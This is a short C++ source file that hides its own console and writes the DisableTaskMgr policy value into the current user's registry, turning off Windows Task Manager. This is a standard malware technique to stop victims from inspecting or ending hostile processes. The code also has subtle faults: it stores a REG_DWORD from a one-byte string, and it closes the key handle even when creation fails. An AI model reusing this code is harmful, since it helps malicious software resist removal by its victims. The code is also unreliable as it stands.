DisableTaskManager.cpp

#include <Windows.h>

int main() {
	FreeConsole();
	HKEY hKey;
	const char *czName = "DisableTaskMgr";
	const char *czVal  = "1";
	
	LONG retVal = RegCreateKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, REG_OPTION_NON_VOLATILE,
			KEY_WRITE, NULL, &hKey, NULL);
			
	if(retVal == ERROR_SUCCESS)
	{
		RegSetValueExA(hKey, czName, 0, REG_DWORD, (unsigned char *)czVal, strlen(czVal));
	}
	
	RegCloseKey(hKey);
	return 0;
}